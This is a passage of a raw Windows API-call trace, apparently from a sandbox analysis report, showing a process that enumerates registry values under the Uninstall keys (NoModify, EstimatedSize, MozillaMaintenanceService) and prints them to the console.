() returned 0x1b5 [0149.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.171] GetConsoleOutputCP () returned 0x1b5 [0149.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.171] GetProcessHeap () returned 0x3c0000 [0149.171] GetProcessHeap () returned 0x3c0000 [0149.172] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.172] GetProcessHeap () returned 0x3c0000 [0149.172] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.172] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.172] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.172] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.172] GetProcessHeap () returned 0x3c0000 [0149.172] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.172] GetProcessHeap () returned 0x3c0000 [0149.172] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.172] GetProcessHeap () returned 0x3c0000 [0149.172] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.172] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.172] __iob_func () returned 0x7fefd702a80 [0149.172] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.172] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.172] _fileno (_File=0x7fefd702ab0) returned 1 [0149.172] _errno () returned 0x204bb0 [0149.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.172] _errno () returned 0x204bb0 [0149.172] GetFileType (hFile=0x50) returned 0x1 [0149.172] lstrlenW (lpString=" ") returned 4 [0149.172] GetConsoleOutputCP () returned 0x1b5 [0149.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.172] GetConsoleOutputCP () returned 0x1b5 [0149.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.172] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.172] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.173] lstrlenW (lpString="NoModify") returned 8 [0149.173] __iob_func () returned 0x7fefd702a80 [0149.173] _fileno (_File=0x7fefd702ab0) returned 1 [0149.173] _errno () returned 0x204bb0 [0149.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.173] _errno () returned 0x204bb0 [0149.173] GetFileType (hFile=0x50) returned 0x1 [0149.173] lstrlenW (lpString="NoModify") returned 8 [0149.173] GetConsoleOutputCP () returned 0x1b5 [0149.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.173] GetConsoleOutputCP () returned 0x1b5 [0149.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.173] __iob_func () returned 0x7fefd702a80 [0149.173] _fileno (_File=0x7fefd702ab0) returned 1 [0149.173] _errno () returned 0x204bb0 [0149.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.173] _errno () returned 0x204bb0 [0149.173] GetFileType (hFile=0x50) returned 0x1 [0149.173] lstrlenW (lpString=" ") returned 4 [0149.173] GetConsoleOutputCP () returned 0x1b5 [0149.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.173] GetConsoleOutputCP () returned 0x1b5 [0149.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.174] __iob_func () returned 0x7fefd702a80 [0149.174] _fileno (_File=0x7fefd702ab0) returned 1 [0149.174] _errno () returned 0x204bb0 [0149.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.174] _errno () returned 0x204bb0 [0149.174] GetFileType (hFile=0x50) returned 0x1 [0149.174] lstrlenW (lpString="REG_DWORD") returned 9 [0149.174] GetConsoleOutputCP () returned 0x1b5 [0149.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.174] GetConsoleOutputCP () returned 0x1b5 [0149.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.174] __iob_func () returned 0x7fefd702a80 [0149.174] _fileno (_File=0x7fefd702ab0) returned 1 [0149.174] _errno () returned 0x204bb0 [0149.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.174] _errno () returned 0x204bb0 [0149.174] GetFileType (hFile=0x50) returned 0x1 [0149.174] lstrlenW (lpString=" ") returned 4 [0149.174] GetConsoleOutputCP () returned 0x1b5 [0149.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.175] GetConsoleOutputCP () returned 0x1b5 [0149.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.175] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.175] __iob_func () returned 0x7fefd702a80 [0149.175] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.175] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.175] _fileno (_File=0x7fefd702ab0) returned 1 [0149.175] _errno () returned 0x204bb0 [0149.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.175] _errno () returned 0x204bb0 [0149.175] GetFileType (hFile=0x50) returned 0x1 [0149.175] lstrlenW (lpString="0x1") returned 3 [0149.175] GetConsoleOutputCP () returned 0x1b5 [0149.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.175] GetConsoleOutputCP () returned 0x1b5 [0149.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.176] __iob_func () returned 0x7fefd702a80 [0149.176] _fileno (_File=0x7fefd702ab0) returned 1 [0149.176] _errno () returned 0x204bb0 [0149.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.176] _errno () returned 0x204bb0 [0149.176] GetFileType (hFile=0x50) returned 0x1 [0149.176] lstrlenW (lpString="\n") returned 1 [0149.176] GetConsoleOutputCP () returned 0x1b5 [0149.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.176] GetConsoleOutputCP () returned 0x1b5 [0149.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.176] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.176] GetProcessHeap () returned 0x3c0000 [0149.176] GetProcessHeap () returned 0x3c0000 [0149.176] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.176] GetProcessHeap () returned 0x3c0000 [0149.176] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.176] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.176] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.176] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.176] GetProcessHeap () returned 0x3c0000 [0149.176] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.176] GetProcessHeap () returned 0x3c0000 [0149.177] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.177] GetProcessHeap () returned 0x3c0000 [0149.177] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.177] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xdd, pcbData=0x29f780*=0x4) returned 0x0 [0149.177] __iob_func () returned 0x7fefd702a80 [0149.177] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.177] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.177] _fileno (_File=0x7fefd702ab0) returned 1 [0149.177] _errno () returned 0x204bb0 [0149.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.177] _errno () returned 0x204bb0 [0149.177] GetFileType (hFile=0x50) returned 0x1 [0149.177] lstrlenW (lpString=" ") returned 4 [0149.177] GetConsoleOutputCP () returned 0x1b5 [0149.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.177] GetConsoleOutputCP () returned 0x1b5 [0149.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.177] lstrlenW (lpString="EstimatedSize") returned 13 [0149.177] __iob_func () returned 0x7fefd702a80 [0149.177] _fileno (_File=0x7fefd702ab0) returned 1 [0149.177] _errno () returned 0x204bb0 [0149.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.177] _errno () returned 0x204bb0 [0149.177] GetFileType (hFile=0x50) returned 0x1 [0149.177] lstrlenW (lpString="EstimatedSize") returned 13 [0149.178] GetConsoleOutputCP () returned 0x1b5 [0149.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.178] GetConsoleOutputCP () returned 0x1b5 [0149.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.178] __iob_func () returned 0x7fefd702a80 [0149.178] _fileno (_File=0x7fefd702ab0) returned 1 [0149.178] _errno () returned 0x204bb0 [0149.178] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.178] _errno () returned 0x204bb0 [0149.178] GetFileType (hFile=0x50) returned 0x1 [0149.178] lstrlenW (lpString=" ") returned 4 [0149.178] GetConsoleOutputCP () returned 0x1b5 [0149.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.178] GetConsoleOutputCP () returned 0x1b5 [0149.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.178] __iob_func () returned 0x7fefd702a80 [0149.178] _fileno (_File=0x7fefd702ab0) returned 1 [0149.178] _errno () returned 0x204bb0 [0149.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.179] _errno () returned 0x204bb0 [0149.179] GetFileType (hFile=0x50) returned 0x1 [0149.179] lstrlenW (lpString="REG_DWORD") returned 9 [0149.179] GetConsoleOutputCP () returned 0x1b5 [0149.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.179] GetConsoleOutputCP () returned 0x1b5 [0149.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.179] __iob_func () returned 0x7fefd702a80 [0149.179] _fileno (_File=0x7fefd702ab0) returned 1 [0149.179] _errno () returned 0x204bb0 [0149.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.179] _errno () returned 0x204bb0 [0149.179] GetFileType (hFile=0x50) returned 0x1 [0149.179] lstrlenW (lpString=" ") returned 4 [0149.179] GetConsoleOutputCP () returned 0x1b5 [0149.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.179] GetConsoleOutputCP () returned 0x1b5 [0149.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.180] __iob_func () returned 0x7fefd702a80 [0149.180] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.180] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xdd") returned 4 [0149.180] _fileno (_File=0x7fefd702ab0) returned 1 [0149.180] _errno () returned 0x204bb0 [0149.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.180] _errno () returned 0x204bb0 [0149.180] GetFileType (hFile=0x50) returned 0x1 [0149.180] lstrlenW (lpString="0xdd") returned 4 [0149.180] GetConsoleOutputCP () returned 0x1b5 [0149.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xdd", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.180] GetConsoleOutputCP () returned 0x1b5 [0149.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xdd", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xdd", lpUsedDefaultChar=0x0) returned 4 [0149.180] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.180] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.180] __iob_func () returned 0x7fefd702a80 [0149.180] _fileno (_File=0x7fefd702ab0) returned 1 [0149.180] _errno () returned 0x204bb0 [0149.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.180] _errno () returned 0x204bb0 [0149.180] GetFileType (hFile=0x50) returned 0x1 [0149.180] lstrlenW (lpString="\n") returned 1 [0149.180] GetConsoleOutputCP () returned 0x1b5 [0149.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.181] GetConsoleOutputCP () returned 0x1b5 [0149.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.181] GetProcessHeap () returned 0x3c0000 [0149.181] GetProcessHeap () returned 0x3c0000 [0149.181] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.181] GetProcessHeap () returned 0x3c0000 [0149.181] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.181] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.181] __iob_func () returned 0x7fefd702a80 [0149.181] _fileno (_File=0x7fefd702ab0) returned 1 [0149.181] _errno () returned 0x204bb0 [0149.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.181] _errno () returned 0x204bb0 [0149.181] GetFileType (hFile=0x50) returned 0x1 [0149.181] lstrlenW (lpString="\n") returned 1 [0149.181] GetConsoleOutputCP () returned 0x1b5 [0149.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.181] GetConsoleOutputCP () returned 0x1b5 [0149.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x20 [0149.182] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0149.182] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.182] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService") returned 108 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xdc) returned 0x3dce90 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.182] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.182] GetProcessHeap () returned 0x3c0000 [0149.182] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xdc [0149.182] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0149.182] RegCloseKey (hKey=0x5c) returned 0x0 [0149.182] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xd, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.182] __iob_func () returned 0x7fefd702a80 [0149.182] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.182] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n") returned 99 [0149.182] _fileno (_File=0x7fefd702ab0) returned 1 [0149.182] _errno () returned 0x204bb0 [0149.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.182] _errno () returned 0x204bb0 [0149.182] GetFileType (hFile=0x50) returned 0x1 [0149.182] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n") returned 99 [0149.182] GetConsoleOutputCP () returned 0x1b5 [0149.183] WideCharToMultiByte (in: 